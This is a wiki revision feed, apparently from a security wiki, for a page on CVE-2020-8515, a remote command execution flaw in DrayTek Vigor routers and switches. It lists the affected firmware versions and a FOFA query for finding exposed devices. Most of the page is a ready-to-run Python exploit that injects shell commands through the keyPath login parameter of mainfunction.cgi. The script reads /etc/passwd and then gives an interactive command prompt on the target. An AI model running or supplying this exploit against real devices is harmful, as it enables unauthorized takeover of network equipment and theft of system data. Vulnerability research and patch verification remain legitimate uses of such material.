<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8515_DrayTek%E4%BC%81%E6%A5%AD%E7%B6%B2%E7%B5%A1%E8%A8%AD%E5%82%99_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>CVE-2020-8515 DrayTek企業網絡設備 遠程命令執行漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8515_DrayTek%E4%BC%81%E6%A5%AD%E7%B6%B2%E7%B5%A1%E8%A8%AD%E5%82%99_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8515_DrayTek%E4%BC%81%E6%A5%AD%E7%B6%B2%E7%B5%A1%E8%A8%AD%E5%82%99_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-06T14:24:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-8515_DrayTek%E4%BC%81%E6%A5%AD%E7%B6%B2%E7%B5%A1%E8%A8%AD%E5%82%99_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/en&amp;diff=5847&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;CVE-2020-8515 DrayTek Enterprise Network Device Remote Command Execution Vulnerability&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8515_DrayTek%E4%BC%81%E6%A5%AD%E7%B6%B2%E7%B5%A1%E8%A8%AD%E5%82%99_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/en&amp;diff=5847&amp;oldid=prev"/>
		<updated>2021-06-24T02:57:39Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;CVE-2020-8515 DrayTek Enterprise Network Device Remote Command Execution Vulnerability&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
==Vulnerability Impact==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Vigor2960 &amp;lt; v1.5.1&lt;br /&gt;
&lt;br /&gt;
Vigor300B &amp;lt; v1.5.1&lt;br /&gt;
&lt;br /&gt;
Vigor3900 &amp;lt; v1.5.1&lt;br /&gt;
&lt;br /&gt;
VigorSwitch20P2121 &amp;lt;= v2.3.2&lt;br /&gt;
&lt;br /&gt;
VigorSwitch20G1280 &amp;lt;= v2.3.2&lt;br /&gt;
&lt;br /&gt;
VigorSwitch20P1280 &amp;lt;= v2.3.2&lt;br /&gt;
&lt;br /&gt;
VigorSwitch20G2280 &amp;lt;= v2.3.2&lt;br /&gt;
&lt;br /&gt;
VigorSwitch20P2280 &amp;lt;= v2.3.2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;Vigor 2960&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
&lt;br /&gt;
def title():&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')&lt;br /&gt;
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')&lt;br /&gt;
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')&lt;br /&gt;
    print('+  \033[34mVersion: DrayTek企业网络设备                                        \033[0m')&lt;br /&gt;
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')&lt;br /&gt;
    print('+  \033[36mUrl         &amp;gt;&amp;gt;&amp;gt; http://xxx.xxx.xxx.xxx                             \033[0m')&lt;br /&gt;
    print('+  \033[36mCmd         &amp;gt;&amp;gt;&amp;gt; pwd                                                \033[0m')&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
&lt;br /&gt;
def POC_1(target_url):&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/cgi-bin/mainfunction.cgi&amp;quot;&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    data = &amp;quot;action=login&amp;amp;keyPath=%27%0A%2fbin%2fcat${IFS}/etc/passwd%0A%27&amp;amp;loginUser=a&amp;amp;loginPwd=a&amp;quot;&lt;br /&gt;
    try:&lt;br /&gt;
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)&lt;br /&gt;
        print(&amp;quot;\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m&amp;quot;.format(target_url))&lt;br /&gt;
        if &amp;quot;root&amp;quot; in response.text and response.status_code == 200:&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m&amp;quot;.format(target_url))&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 响应为:\n{} \033[0m&amp;quot;.format(response.text))&lt;br /&gt;
            while True:&lt;br /&gt;
                Cmd = input(&amp;quot;\033[35mCmd &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;)&lt;br /&gt;
                if Cmd == &amp;quot;exit&amp;quot;:&lt;br /&gt;
                    sys.exit(0)&lt;br /&gt;
                else:&lt;br /&gt;
                    POC_2(target_url, Cmd)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 不存在漏洞 \033[0m&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 请求失败 \033[0m&amp;quot;, e)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
def POC_2(target_url, Cmd):&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/cgi-bin/mainfunction.cgi&amp;quot;&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    Cmd = Cmd.replace(' ','${IFS}')&lt;br /&gt;
    data = &amp;quot;action=login&amp;amp;keyPath=%27%0A%2fbin%2f%26{}%0A%27&amp;amp;loginUser=a&amp;amp;loginPwd=a&amp;quot;.format(Cmd)&lt;br /&gt;
    try:&lt;br /&gt;
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)&lt;br /&gt;
        if response.status_code == 200:&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m&amp;quot;.format(target_url))&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 响应为:\n{} \033[0m&amp;quot;.format(response.text))&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 请求失败 \033[0m&amp;quot;, e)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    title()&lt;br /&gt;
    target_url = str(input(&amp;quot;\033[35mPlease input Attack Url\nUrl &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    POC_1(target_url)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>